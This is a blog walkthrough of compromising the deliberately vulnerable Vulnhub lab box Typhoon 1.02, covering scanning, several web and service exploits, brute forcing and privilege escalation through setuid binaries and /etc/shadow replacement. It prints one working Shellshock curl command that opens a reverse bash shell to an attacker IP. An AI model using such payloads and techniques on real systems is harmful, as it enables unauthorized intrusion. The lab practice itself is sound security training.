Vulnhub Typhoon 1.02 Walkthrough

by Vince
in Blog
Hits: 2615

The description of Typhoon 1.02 makes it very clear that this box is extremely vulnerable on multiple fronts.  I didn't set out to find every avenue and I'm sure I did not.  As I'm reading the description again, I clearly didn't even touch DNS.  That being said, I found more than a few low privilege entry points and multiple privilege escalations. 

Two things I really like about this box --

1.  I got to play with a few things that I'd not seen previously.
2.  This box, like the metasploitable series, is good to come back to from time to time after learning new tricks.  Clearly I need to learn some new DNS exploitation techniques.  


Starting off with an Nmap scan:





Lots of options are revealed from our scan.  Let's take a look with Nikto:




Before we even take a look at what's running on the webserver, let's get our first low privilege shell through Shellshock:

curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/192.168.90.35/9999 0>&1' http://192.168.90.59/cgi-bin/test.sh





Continuing on with our search of entry points, we use Gobuster to hunt for directories:

gobuster -u http://192.168.90.59 -w /usr/share/dirbuster/wordlists/final.txt -s '200,204,301,302,307,403,500' -e





We find plenty of avenues, let's start with webcalendar:




"WebCalendar <= 1.2.4 (install/index.php) Remote Code Executionn Exploit" :





Bingo.  Another entry.  Moving on, we find LotusCMS:




Let's pop this one with Metasploit:




Moving on, we find PHPMyAdmin.  I guess at the credentials:




I'm in.  I actually spent quite a bit of time messing around in here because I don't have a lot of experience with this GUI -- I much prefer the command line version.  I attempted to gain access but remote connections were disabled.  I played around with it for a while and I did end up getting remote access to it but I can't remember if I semi-cheated.  There is already so much to document as is, I didn't want to go back and try to recreate my steps.  Regardless, without getting a remote connection, I retrieved credentials from the various databases and I was also able to write into the file system. 

Even though /var/www/html is world writable, I couldn't write into that directory which is a defense mechanism of MySQL.  I did, however, retrieve /etc/passwd :




Rather than returning the results like I would expect, i get this:




Turns out, you need to expand Options and check the "Show BLOB contents" box:




Now we see the results from our query:




We take the accounts from above and we attempt to brute with Hydra:




We have another entry.

Circling back to our Nmap scan, we see SMB is open, let's scan for vulns:




I'd already uncovered the share and was able to write into it but the scan above gives us an actual vuln.

Using Metasploit again:




No need to even populate SMB_FOLDER or SMB_SHARE_NAME ^^




This one pops for root!

Also in our Nmap scan we see Redis.  Maybe I've seen this previously but if so, it's not all too familiar.  Using Metasploit, I attempt to upload into the file system:




It works but much to my disappointment, it's not world writable.  :(




I get an idea:




I replace the local shadow for my shadow.  I can't ssh as root but I can login with a normal user and su to root!

Although it didn't show up in the Gobuster scan, I did see MongoDB from the Nmap scan.  On a hunch, I find /mongoadmin -- 

"PHPMoAdmin is a MongoDB administration tool for PHP built on a stripped-down version of the Vork high-performance framework."

It's vulnerable to unauthorized remote code execution.  Attempting to read /etc/passwd:




Again, we can brute accounts but taking this vulnerability further:




We write our shell into the file system, no let's setup our listener and hit our shell:




And... we have another entry.  That's plenty, now let's explore some roots.

Once we're in the file system with a low privilege shell, let's take a look at setuid binaries:




Two that stick out right from the start are head and vim.basic.  First head:




Now that we have hashes, let's crack them:




We get admin, we login and we see we can sudo su:




Moving on to vim.basic, we can open /etc/shadow and replace the root line with our own:




Insert ours, delete the original, save the file, and su to root with our known password.  

Finally, a kernel exploit although I'm sure there are others.




That was fun!  A big thanks to the author(s) of this box.  Lots of avenues to explore and considering I didn't find a DNS exploit, I'm going back now to explore it a bit more.